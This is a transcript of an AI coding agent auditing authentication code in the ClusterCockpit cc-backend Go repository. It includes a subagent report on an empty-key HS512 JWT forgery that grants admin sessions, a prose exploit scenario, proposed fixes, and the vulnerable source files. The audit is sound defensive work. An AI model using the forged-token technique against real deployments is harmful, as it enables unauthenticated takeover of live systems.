{"parentUuid":"f08f0756-8628-46eb-a230-d579735f63fe","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_014MtKrAKQ3zeGaTdetcokVJ","type":"tool_result","content":[{"type":"text","text":"Confirmed. `Init()` returns `nil` (success) even when `CROSS_LOGIN_JWT_HS512_KEY` is unset, so the authenticator is always registered whenever `Keys.JwtConfig != nil`. My analysis is complete.\n\n## Security Audit Findings — Authentication & Authorization\n\n### CRITICAL — JWT session login accepts HMAC tokens forged with an empty key (auth bypass / admin takeover)\n\n**File:** `internal/auth/jwtSession.go:27-39` (Init) and `:61-66` (Login), enabled via `internal/auth/auth.go:233-238`, reachable at `/jwt-login` and `/login` (`cmd/cc-backend/server.go:185-186`).\n\n**The bug:**\n- `JWTSessionAuthenticator.Init()` only sets `loginTokenKey` if `CROSS_LOGIN_JWT_HS512_KEY` is set, but it **always returns `nil` (success)**. So whenever `Keys.JwtConfig != nil`, this authenticator is registered in the chain even when no HS512 key is configured, leaving `loginTokenKey == nil`.\n- In `Login()`, the keyfunc returns `ja.loginTokenKey` for `HS256`/`HS512` tokens. With golang-jwt v5, a `nil` `[]byte` passes the `key.([]byte)` type assertion and HMAC is computed over an empty key. I verified this with a standalone test against `golang-jwt/jwt/v5 v5.3.1`: a token signed `HS512` with a nil key parses as **valid**:\n  ```\n  FORGED TOKEN ACCEPTED: sub=attacker roles=[admin]\n  ```\n- `CanLogin` (`:41-49`) returns `true` for *any* request carrying an `Authorization` header or `login-token` query param, so the attacker's forged token reaches `Login()`.\n\n**Exploit:** With the default config (`validate-user`/`ValidateUser` defaults to `false`) and `CROSS_LOGIN_JWT_HS512_KEY` unset, an unauthenticated attacker forges an HS512 JWT signed with an empty key containing `{\"sub\":\"anyone\",\"roles\":[\"admin\"]}`, sends it to `POST /jwt-login` as `Authorization: Bearer <token>` (or `?login-token=`), and gets a fully privileged admin session cookie. `getUserFromJWT(..., validateUser=false, ...)` trusts the attacker-controlled `sub` and roles verbatim. This is a complete unauthenticated privilege escalation. Even with `ValidateUser=true`, the attacker can still impersonate any existing username (session fixation as that user), though roles would come from the DB.\n\n**Fix:** In `Init()`, return an error when `CROSS_LOGIN_JWT_HS512_KEY` is unset/empty so the authenticator is not registered (mirroring how `JWTCookieSessionAuthenticator.Init` returns errors when prerequisites are missing). Additionally, harden `Login()` to reject a nil/empty key:\n```go\nfunc (ja *JWTSessionAuthenticator) Init() error {\n    pubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\")\n    if pubKey == \"\" {\n        return errors.New(\"CROSS_LOGIN_JWT_HS512_KEY not set: JWT session login disabled\")\n    }\n    ...\n}\n```\nand in the keyfunc: `if len(ja.loginTokenKey) == 0 { return nil, errors.New(\"HS login key not configured\") }`.\n\n---\n\n### LOW — Roles from the standard JWT auth path are not validated against the known role set\n\n**File:** `internal/auth/jwt.go:113-116`\n\nWhen `ValidateUser == false`, `AuthViaJWT` sets `user.Roles = extractRolesFromClaims(claims, false)` — the `false` disables role-name validation, unlike `getUserFromJWT` which passes `true`. Arbitrary role strings from the token are accepted. The token must be signed with the server's own EdDSA key (`JWT_PRIVATE_KEY`), so this is not externally forgeable and is low severity, but it is an inconsistency worth aligning (`extractRolesFromClaims(claims, true)`).\n\n---\n\n### LOW — Per-user login rate limiter keyed on form `username`, ineffective for token-based logins\n\n**File:** `internal/auth/auth.go:347-354`\n\nThe limiter key is `ip + \":\" + username` where `username = r.FormValue(\"username\")`. For `/jwt-login` (token/header logins) the username form field is empty, so all such attempts from one IP collapse to the `ip:` bucket — still per-IP limited (5 / 15 min), so brute-force is bounded, but there is no per-credential limiting for token logins. Minor; note in combination with the CRITICAL finding the rate limit is the only remaining brake on forged-token attempts.\n\n---\n\n### Areas reviewed and found clean\n\n- **OIDC flow** (`oidc.go`): state cookie + form-state comparison (CSRF), PKCE (`S256ChallengeOption` + verifier cookie), nonce generation and ID-token nonce verification, ID token verified via `provider.Verifier` with `ClientID` audience check. Callback cookies are `HttpOnly`, `SameSite=Lax`, `Secure` when TLS. Roles are mapped through an allow-list switch (unknown roles dropped), so OIDC cannot inject arbitrary roles. Solid.\n- **LDAP** (`ldap.go`): user search filter uses `ldap.EscapeFilter(username)` and bind DN uses `ldap.EscapeDN(...)` — injection-safe. Bind uses the user-supplied password correctly.\n- **Local auth** (`local.go`): bcrypt compare; empty-hash LDAP users cannot reach it (CanLogin gated on `AuthViaLocalPassword`), and bcrypt rejects empty hashes anyway.\n- **Main EdDSA JWT path** (`jwt.go:86-92`): pins `SigningMethodEdDSA`; a missing/short public key yields `ErrInvalidKey` (verified against the lib), so it fails safe — no algorithm-confusion or empty-key issue here.\n- **Cookie session JWT** (`jwtCookieSession.go`): the previously-fixed `ParseUnverified` + issuer switch + `WithValidMethods` is correct and uses distinct keys per issuer.\n- **Role gating** in `AuthAPI`/`AuthUserAPI`/`AuthMetricStoreAPI`/`AuthConfigAPI` (`auth.go:435-569`) requires `RoleAPI` and appropriate combinations; no obvious bypass.\n\nThe CRITICAL HS512 empty-key issue is the one severe item missed by the prior audit and should be fixed before release."},{"type":"text","text":"agentId: a0b29625ce82b3d2c (use SendMessage with to: 'a0b29625ce82b3d2c' to continue this agent)\n<usage>subagent_tokens: 54224\ntool_uses: 20\nduration_ms: 458750</usage>"}]}]},"uuid":"62f8dfb3-00d2-4359-96b1-e955cc7050c7","timestamp":"2026-06-04T16:49:11.912Z","toolUseResult":{"status":"completed","prompt":"You are a security auditor doing a focused review of the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: Authentication and authorization ONLY. Focus on:\n- internal/auth/* (auth.go, jwt*.go, ldap.go, oidc.go, local.go, jwtCookieSession.go, jwtSession.go)\n- How JWT tokens are validated (signature, expiry, algorithm, audience, issuer)\n- Session cookie security\n- LDAP injection / bind handling\n- OIDC flow (state/nonce/PKCE, token validation, redirect handling)\n- Rate limiting on login\n- Role assignment and privilege escalation paths\n- API token / RoleAPI handling\n\nA previous audit ALREADY FIXED these (do NOT re-report them):\n1. JWT algorithm confusion + issuer validation in jwtCookieSession.go (now uses ParseUnverified + switch on issuer + WithValidMethods)\n2. SESSION_KEY now fatal if unset (was ephemeral random)\n3. session cookie HttpOnly=true added\n4. open redirect on login redirect param fixed (now checks relative path)\n5. CORS AllowCredentials=false + HSTS header\n\nFind anything SEVERE that was MISSED. For each finding: file:line, severity (critical/high/medium/low), concrete exploit scenario, and a suggested fix. Be precise and verify claims by reading the actual code. Do not report theoretical issues without code evidence. Report only real findings; if an area is clean, say so briefly.","agentId":"a0b29625ce82b3d2c","agentType":"general-purpose","content":[{"type":"text","text":"Confirmed. `Init()` returns `nil` (success) even when `CROSS_LOGIN_JWT_HS512_KEY` is unset, so the authenticator is always registered whenever `Keys.JwtConfig != nil`. My analysis is complete.\n\n## Security Audit Findings — Authentication & Authorization\n\n### CRITICAL — JWT session login accepts HMAC tokens forged with an empty key (auth bypass / admin takeover)\n\n**File:** `internal/auth/jwtSession.go:27-39` (Init) and `:61-66` (Login), enabled via `internal/auth/auth.go:233-238`, reachable at `/jwt-login` and `/login` (`cmd/cc-backend/server.go:185-186`).\n\n**The bug:**\n- `JWTSessionAuthenticator.Init()` only sets `loginTokenKey` if `CROSS_LOGIN_JWT_HS512_KEY` is set, but it **always returns `nil` (success)**. So whenever `Keys.JwtConfig != nil`, this authenticator is registered in the chain even when no HS512 key is configured, leaving `loginTokenKey == nil`.\n- In `Login()`, the keyfunc returns `ja.loginTokenKey` for `HS256`/`HS512` tokens. With golang-jwt v5, a `nil` `[]byte` passes the `key.([]byte)` type assertion and HMAC is computed over an empty key. I verified this with a standalone test against `golang-jwt/jwt/v5 v5.3.1`: a token signed `HS512` with a nil key parses as **valid**:\n  ```\n  FORGED TOKEN ACCEPTED: sub=attacker roles=[admin]\n  ```\n- `CanLogin` (`:41-49`) returns `true` for *any* request carrying an `Authorization` header or `login-token` query param, so the attacker's forged token reaches `Login()`.\n\n**Exploit:** With the default config (`validate-user`/`ValidateUser` defaults to `false`) and `CROSS_LOGIN_JWT_HS512_KEY` unset, an unauthenticated attacker forges an HS512 JWT signed with an empty key containing `{\"sub\":\"anyone\",\"roles\":[\"admin\"]}`, sends it to `POST /jwt-login` as `Authorization: Bearer <token>` (or `?login-token=`), and gets a fully privileged admin session cookie. `getUserFromJWT(..., validateUser=false, ...)` trusts the attacker-controlled `sub` and roles verbatim. This is a complete unauthenticated privilege escalation. Even with `ValidateUser=true`, the attacker can still impersonate any existing username (session fixation as that user), though roles would come from the DB.\n\n**Fix:** In `Init()`, return an error when `CROSS_LOGIN_JWT_HS512_KEY` is unset/empty so the authenticator is not registered (mirroring how `JWTCookieSessionAuthenticator.Init` returns errors when prerequisites are missing). Additionally, harden `Login()` to reject a nil/empty key:\n```go\nfunc (ja *JWTSessionAuthenticator) Init() error {\n    pubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\")\n    if pubKey == \"\" {\n        return errors.New(\"CROSS_LOGIN_JWT_HS512_KEY not set: JWT session login disabled\")\n    }\n    ...\n}\n```\nand in the keyfunc: `if len(ja.loginTokenKey) == 0 { return nil, errors.New(\"HS login key not configured\") }`.\n\n---\n\n### LOW — Roles from the standard JWT auth path are not validated against the known role set\n\n**File:** `internal/auth/jwt.go:113-116`\n\nWhen `ValidateUser == false`, `AuthViaJWT` sets `user.Roles = extractRolesFromClaims(claims, false)` — the `false` disables role-name validation, unlike `getUserFromJWT` which passes `true`. Arbitrary role strings from the token are accepted. The token must be signed with the server's own EdDSA key (`JWT_PRIVATE_KEY`), so this is not externally forgeable and is low severity, but it is an inconsistency worth aligning (`extractRolesFromClaims(claims, true)`).\n\n---\n\n### LOW — Per-user login rate limiter keyed on form `username`, ineffective for token-based logins\n\n**File:** `internal/auth/auth.go:347-354`\n\nThe limiter key is `ip + \":\" + username` where `username = r.FormValue(\"username\")`. For `/jwt-login` (token/header logins) the username form field is empty, so all such attempts from one IP collapse to the `ip:` bucket — still per-IP limited (5 / 15 min), so brute-force is bounded, but there is no per-credential limiting for token logins. Minor; note in combination with the CRITICAL finding the rate limit is the only remaining brake on forged-token attempts.\n\n---\n\n### Areas reviewed and found clean\n\n- **OIDC flow** (`oidc.go`): state cookie + form-state comparison (CSRF), PKCE (`S256ChallengeOption` + verifier cookie), nonce generation and ID-token nonce verification, ID token verified via `provider.Verifier` with `ClientID` audience check. Callback cookies are `HttpOnly`, `SameSite=Lax`, `Secure` when TLS. Roles are mapped through an allow-list switch (unknown roles dropped), so OIDC cannot inject arbitrary roles. Solid.\n- **LDAP** (`ldap.go`): user search filter uses `ldap.EscapeFilter(username)` and bind DN uses `ldap.EscapeDN(...)` — injection-safe. Bind uses the user-supplied password correctly.\n- **Local auth** (`local.go`): bcrypt compare; empty-hash LDAP users cannot reach it (CanLogin gated on `AuthViaLocalPassword`), and bcrypt rejects empty hashes anyway.\n- **Main EdDSA JWT path** (`jwt.go:86-92`): pins `SigningMethodEdDSA`; a missing/short public key yields `ErrInvalidKey` (verified against the lib), so it fails safe — no algorithm-confusion or empty-key issue here.\n- **Cookie session JWT** (`jwtCookieSession.go`): the previously-fixed `ParseUnverified` + issuer switch + `WithValidMethods` is correct and uses distinct keys per issuer.\n- **Role gating** in `AuthAPI`/`AuthUserAPI`/`AuthMetricStoreAPI`/`AuthConfigAPI` (`auth.go:435-569`) requires `RoleAPI` and appropriate combinations; no obvious bypass.\n\nThe CRITICAL HS512 empty-key issue is the one severe item missed by the prior audit and should be fixed before release."}],"totalDurationMs":458750,"totalTokens":54224,"totalToolUseCount":20,"usage":{"input_tokens":2,"cache_creation_input_tokens":1018,"cache_read_input_tokens":50847,"output_tokens":2357,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":1018},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":2357,"cache_read_input_tokens":50847,"cache_creation_input_tokens":1018,"cache_creation":{"ephemeral_5m_input_tokens":1018,"ephemeral_1h_input_tokens":0},"type":"message"}],"speed":"standard"},"toolStats":{"readCount":9,"searchCount":0,"bashCount":11,"editFileCount":0,"linesAdded":0,"linesRemoved":0,"otherToolCount":0}},"sourceToolAssistantUUID":"f08f0756-8628-46eb-a230-d579735f63fe","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"61cdd5b7-bc1f-4657-a60e-ca9dc57a3166","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01SnnvL8NsdATKEHsz4XAvR6","type":"tool_result","content":"1\t// Copyright (C) NHR@FAU, University Erlangen-Nuremberg.\n2\t// All rights reserved. This file is part of cc-backend.\n3\t// Use of this source code is governed by a MIT-style\n4\t// license that can be found in the LICENSE file.\n5\t\n6\tpackage auth\n7\t\n8\timport (\n9\t\t\"encoding/base64\"\n10\t\t\"errors\"\n11\t\t\"fmt\"\n12\t\t\"net/http\"\n13\t\t\"os\"\n14\t\t\"strings\"\n15\t\n16\t\tcclog \"github.com/ClusterCockpit/cc-lib/v2/ccLogger\"\n17\t\t\"github.com/ClusterCockpit/cc-lib/v2/schema\"\n18\t\t\"github.com/golang-jwt/jwt/v5\"\n19\t)\n20\t\n21\ttype JWTSessionAuthenticator struct {\n22\t\tloginTokenKey []byte // HS256 key\n23\t}\n24\t\n25\tvar _ Authenticator = (*JWTSessionAuthenticator)(nil)\n26\t\n27\tfunc (ja *JWTSessionAuthenticator) Init() error {\n28\t\tif pubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\"); pubKey != \"\" {\n29\t\t\tbytes, err := base64.StdEncoding.DecodeString(pubKey)\n30\t\t\tif err != nil {\n31\t\t\t\tcclog.Warn(\"Could not decode cross login JWT HS512 key\")\n32\t\t\t\treturn err\n33\t\t\t}\n34\t\t\tja.loginTokenKey = bytes\n35\t\t}\n36\t\n37\t\tcclog.Info(\"JWT Session authenticator successfully registered\")\n38\t\treturn nil\n39\t}\n40\t\n41\tfunc (ja *JWTSessionAuthenticator) CanLogin(\n42\t\tuser *schema.User,\n43\t\tusername string,\n44\t\trw http.ResponseWriter,\n45\t\tr *http.Request,\n46\t) (*schema.User, bool) {\n47\t\treturn user, r.Header.Get(\"Authorization\") != \"\" ||\n48\t\t\tr.URL.Query().Get(\"login-token\") != \"\"\n49\t}\n50\t\n51\tfunc (ja *JWTSessionAuthenticator) Login(\n52\t\tuser *schema.User,\n53\t\trw http.ResponseWriter,\n54\t\tr *http.Request,\n55\t) (*schema.User, error) {\n56\t\trawtoken := strings.TrimPrefix(r.Header.Get(\"Authorization\"), \"Bearer \")\n57\t\tif rawtoken == \"\" {\n58\t\t\trawtoken = r.URL.Query().Get(\"login-token\")\n59\t\t}\n60\t\n61\t\ttoken, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {\n62\t\t\tif t.Method == jwt.SigningMethodHS256 || t.Method == jwt.SigningMethodHS512 {\n63\t\t\t\treturn ja.loginTokenKey, nil\n64\t\t\t}\n65\t\t\treturn nil, fmt.Errorf(\"unkown signing method for login token: %s (known: HS256, HS512, EdDSA)\", t.Method.Alg())\n66\t\t})\n67\t\tif err != nil {\n68\t\t\tcclog.Warn(\"Error while parsing jwt token\")\n69\t\t\treturn nil, err\n70\t\t}\n71\t\n72\t\tif !token.Valid {\n73\t\t\tcclog.Warn(\"jwt token claims are not valid\")\n74\t\t\treturn nil, errors.New(\"jwt token claims are not valid\")\n75\t\t}\n76\t\n77\t\tclaims := token.Claims.(jwt.MapClaims)\n78\t\n79\t\t// Use shared helper to get user from JWT claims\n80\t\tuser, err = getUserFromJWT(claims, Keys.JwtConfig.ValidateUser, schema.AuthSession, schema.AuthViaToken)\n81\t\tif err != nil {\n82\t\t\treturn nil, err\n83\t\t}\n84\t\n85\t\t// Sync or update user if configured\n86\t\tif !Keys.JwtConfig.ValidateUser && (Keys.JwtConfig.SyncUserOnLogin || Keys.JwtConfig.UpdateUserOnLogin) {\n87\t\t\thandleTokenUser(user)\n88\t\t}\n89\t\n90\t\treturn user, nil\n91\t}\n92\t"}]},"uuid":"02863c67-d160-4e0a-a20a-3941a9df9dd3","timestamp":"2026-06-04T16:49:19.260Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/jwtSession.go","content":"// Copyright (C) NHR@FAU, University Erlangen-Nuremberg.\n// All rights reserved. This file is part of cc-backend.\n// Use of this source code is governed by a MIT-style\n// license that can be found in the LICENSE file.\n\npackage auth\n\nimport (\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\n\tcclog \"github.com/ClusterCockpit/cc-lib/v2/ccLogger\"\n\t\"github.com/ClusterCockpit/cc-lib/v2/schema\"\n\t\"github.com/golang-jwt/jwt/v5\"\n)\n\ntype JWTSessionAuthenticator struct {\n\tloginTokenKey []byte // HS256 key\n}\n\nvar _ Authenticator = (*JWTSessionAuthenticator)(nil)\n\nfunc (ja *JWTSessionAuthenticator) Init() error {\n\tif pubKey := os.Getenv(\"CROSS_LOGIN_JWT_HS512_KEY\"); pubKey != \"\" {\n\t\tbytes, err := base64.StdEncoding.DecodeString(pubKey)\n\t\tif err != nil {\n\t\t\tcclog.Warn(\"Could not decode cross login JWT HS512 key\")\n\t\t\treturn err\n\t\t}\n\t\tja.loginTokenKey = bytes\n\t}\n\n\tcclog.Info(\"JWT Session authenticator successfully registered\")\n\treturn nil\n}\n\nfunc (ja *JWTSessionAuthenticator) CanLogin(\n\tuser *schema.User,\n\tusername string,\n\trw http.ResponseWriter,\n\tr *http.Request,\n) (*schema.User, bool) {\n\treturn user, r.Header.Get(\"Authorization\") != \"\" ||\n\t\tr.URL.Query().Get(\"login-token\") != \"\"\n}\n\nfunc (ja *JWTSessionAuthenticator) Login(\n\tuser *schema.User,\n\trw http.ResponseWriter,\n\tr *http.Request,\n) (*schema.User, error) {\n\trawtoken := strings.TrimPrefix(r.Header.Get(\"Authorization\"), \"Bearer \")\n\tif rawtoken == \"\" {\n\t\trawtoken = r.URL.Query().Get(\"login-token\")\n\t}\n\n\ttoken, err := jwt.Parse(rawtoken, func(t *jwt.Token) (any, error) {\n\t\tif t.Method == jwt.SigningMethodHS256 || t.Method == jwt.SigningMethodHS512 {\n\t\t\treturn ja.loginTokenKey, nil\n\t\t}\n\t\treturn nil, fmt.Errorf(\"unkown signing method for login token: %s (known: HS256, HS512, EdDSA)\", t.Method.Alg())\n\t})\n\tif err != nil {\n\t\tcclog.Warn(\"Error while parsing jwt token\")\n\t\treturn nil, err\n\t}\n\n\tif !token.Valid {\n\t\tcclog.Warn(\"jwt token claims are not valid\")\n\t\treturn nil, errors.New(\"jwt token claims are not valid\")\n\t}\n\n\tclaims := token.Claims.(jwt.MapClaims)\n\n\t// Use shared helper to get user from JWT claims\n\tuser, err = getUserFromJWT(claims, Keys.JwtConfig.ValidateUser, schema.AuthSession, schema.AuthViaToken)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Sync or update user if configured\n\tif !Keys.JwtConfig.ValidateUser && (Keys.JwtConfig.SyncUserOnLogin || Keys.JwtConfig.UpdateUserOnLogin) {\n\t\thandleTokenUser(user)\n\t}\n\n\treturn user, nil\n}\n","numLines":92,"startLine":1,"totalLines":92}},"sourceToolAssistantUUID":"61cdd5b7-bc1f-4657-a60e-ca9dc57a3166","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"02863c67-d160-4e0a-a20a-3941a9df9dd3","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_0154LCdCQvKKTM1hXf5qqb7H","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01V2i53R1BSFhPYXUozMv9r2","name":"Read","input":{"file_path":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/repository/stats.go","offset":930,"limit":60},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":15785,"cache_creation_input_tokens":7242,"cache_read_input_tokens":32493,"output_tokens":507,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":7242,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":15785,"output_tokens":507,"cache_read_input_tokens":32493,"cache_creation_input_tokens":7242,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":7242},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZaiFFcCzqywfHEbu6D","type":"assistant","uuid":"63904f13-04e5-4d48-8fc6-17928ac46494","timestamp":"2026-06-04T16:49:20.067Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"63904f13-04e5-4d48-8fc6-17928ac46494","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01V2i53R1BSFhPYXUozMv9r2","type":"tool_result","content":"930\t\n931\t\t// If no cluster filter or peak not found, find largest peak across all clusters\n932\t\t// This ensures histogram can accommodate all possible values\n933\t\tif peak == 0.0 {\n934\t\t\tfor _, c := range archive.Clusters {\n935\t\t\t\tfor _, m := range c.MetricConfig {\n936\t\t\t\t\tif m.Name == metric {\n937\t\t\t\t\t\tif m.Peak > peak {\n938\t\t\t\t\t\t\tpeak = m.Peak\n939\t\t\t\t\t\t}\n940\t\t\t\t\t\tif unit == \"\" {\n941\t\t\t\t\t\t\tunit = m.Unit.Prefix + m.Unit.Base\n942\t\t\t\t\t\t}\n943\t\t\t\t\t\tif footprintStat == \"\" {\n944\t\t\t\t\t\t\tfootprintStat = m.Footprint\n945\t\t\t\t\t\t}\n946\t\t\t\t\t}\n947\t\t\t\t}\n948\t\t\t}\n949\t\t}\n950\t\n951\t\t// Construct SQL histogram bins using normalized values.\n952\t\t// Algorithm based on: https://jereze.com/code/sql-histogram/ (modified)\n953\t\tstart := time.Now()\n954\t\n955\t\t// Bin calculation formula:\n956\t\t//   bin_number = CAST( (value / peak) * num_bins AS INTEGER ) + 1\n957\t\t// Special case: value == peak would create bin N+1, so we test for equality\n958\t\t// and multiply peak by 0.999999999 to force it into bin N.\n959\t\tbinQuery := fmt.Sprintf(`CAST(\n960\t\t\t((case when json_extract(footprint, \"$.%s\") = %f then %f*0.999999999 else json_extract(footprint, \"$.%s\") end) / %f)\n961\t\t\t* %v as INTEGER )`,\n962\t\t\t(metric + \"_\" + footprintStat), peak, peak, (metric + \"_\" + footprintStat), peak, *bins)\n963\t\n964\t\tmainQuery := sq.Select(\n965\t\t\tfmt.Sprintf(`%s + 1 as bin`, binQuery),\n966\t\t\t`count(*) as count`,\n967\t\t).From(\"job\").Where(\n968\t\t\t\"JSON_VALID(footprint)\",\n969\t\t).Where(fmt.Sprintf(`json_extract(footprint, \"$.%s\") is not null and json_extract(footprint, \"$.%s\") <= %f`, (metric + \"_\" + footprintStat), (metric + \"_\" + footprintStat), peak))\n970\t\n971\t\tmainQuery, qerr := SecurityCheck(ctx, mainQuery)\n972\t\tif qerr != nil {\n973\t\t\treturn nil, qerr\n974\t\t}\n975\t\n976\t\tfor _, f := range filters {\n977\t\t\tmainQuery = BuildWhereClause(f, mainQuery)\n978\t\t}\n979\t\n980\t\tmainQuery = mainQuery.GroupBy(\"bin\").OrderBy(\"bin\")\n981\t\n982\t\trows, err := mainQuery.RunWith(r.DB).QueryContext(ctx)\n983\t\tif err != nil {\n984\t\t\tcclog.Errorf(\"Error while running mainQuery: %s\", err)\n985\t\t\treturn nil, err\n986\t\t}\n987\t\tdefer rows.Close()\n988\t\n989\t\t// Pre-initialize bins with calculated min/max ranges."}]},"uuid":"6a9c9fb1-846e-44e5-9193-c8075816a64e","timestamp":"2026-06-04T16:49:20.076Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/repository/stats.go","content":"\n\t// If no cluster filter or peak not found, find largest peak across all clusters\n\t// This ensures histogram can accommodate all possible values\n\tif peak == 0.0 {\n\t\tfor _, c := range archive.Clusters {\n\t\t\tfor _, m := range c.MetricConfig {\n\t\t\t\tif m.Name == metric {\n\t\t\t\t\tif m.Peak > peak {\n\t\t\t\t\t\tpeak = m.Peak\n\t\t\t\t\t}\n\t\t\t\t\tif unit == \"\" {\n\t\t\t\t\t\tunit = m.Unit.Prefix + m.Unit.Base\n\t\t\t\t\t}\n\t\t\t\t\tif footprintStat == \"\" {\n\t\t\t\t\t\tfootprintStat = m.Footprint\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Construct SQL histogram bins using normalized values.\n\t// Algorithm based on: https://jereze.com/code/sql-histogram/ (modified)\n\tstart := time.Now()\n\n\t// Bin calculation formula:\n\t//   bin_number = CAST( (value / peak) * num_bins AS INTEGER ) + 1\n\t// Special case: value == peak would create bin N+1, so we test for equality\n\t// and multiply peak by 0.999999999 to force it into bin N.\n\tbinQuery := fmt.Sprintf(`CAST(\n\t\t((case when json_extract(footprint, \"$.%s\") = %f then %f*0.999999999 else json_extract(footprint, \"$.%s\") end) / %f)\n\t\t* %v as INTEGER )`,\n\t\t(metric + \"_\" + footprintStat), peak, peak, (metric + \"_\" + footprintStat), peak, *bins)\n\n\tmainQuery := sq.Select(\n\t\tfmt.Sprintf(`%s + 1 as bin`, binQuery),\n\t\t`count(*) as count`,\n\t).From(\"job\").Where(\n\t\t\"JSON_VALID(footprint)\",\n\t).Where(fmt.Sprintf(`json_extract(footprint, \"$.%s\") is not null and json_extract(footprint, \"$.%s\") <= %f`, (metric + \"_\" + footprintStat), (metric + \"_\" + footprintStat), peak))\n\n\tmainQuery, qerr := SecurityCheck(ctx, mainQuery)\n\tif qerr != nil {\n\t\treturn nil, qerr\n\t}\n\n\tfor _, f := range filters {\n\t\tmainQuery = BuildWhereClause(f, mainQuery)\n\t}\n\n\tmainQuery = mainQuery.GroupBy(\"bin\").OrderBy(\"bin\")\n\n\trows, err := mainQuery.RunWith(r.DB).QueryContext(ctx)\n\tif err != nil {\n\t\tcclog.Errorf(\"Error while running mainQuery: %s\", err)\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\t// Pre-initialize bins with calculated min/max ranges.","numLines":60,"startLine":930,"totalLines":1150}},"sourceToolAssistantUUID":"63904f13-04e5-4d48-8fc6-17928ac46494","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"856f040c-ae06-48a2-b13d-16cdcae79c88","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01RtQvKNf63mSazjNnWguHyb","type":"message","role":"assistant","content":[{"type":"text","text":"Let me verify the JWT registration path and confirm the empty-key HMAC behavior with an actual PoC, plus check the metric-name input validation."}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":18670,"cache_read_input_tokens":39735,"output_tokens":1363,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":18670,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":1363,"cache_read_input_tokens":39735,"cache_creation_input_tokens":18670,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":18670},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZbKFRVCGtN3CrcAc7k","type":"assistant","uuid":"4a6964c5-2149-4ebb-ae3c-71fa4384948b","timestamp":"2026-06-04T16:49:34.693Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"4a6964c5-2149-4ebb-ae3c-71fa4384948b","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01RtQvKNf63mSazjNnWguHyb","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01F9VrHU3ydxeqKXgQpYHsT9","name":"Bash","input":{"command":"grep -n \"JWTSessionAuthenticator\\|JwtConfig\\|JWTCookieSessionAuthenticator\" internal/auth/auth.go | head -30","description":"Find JWT authenticator 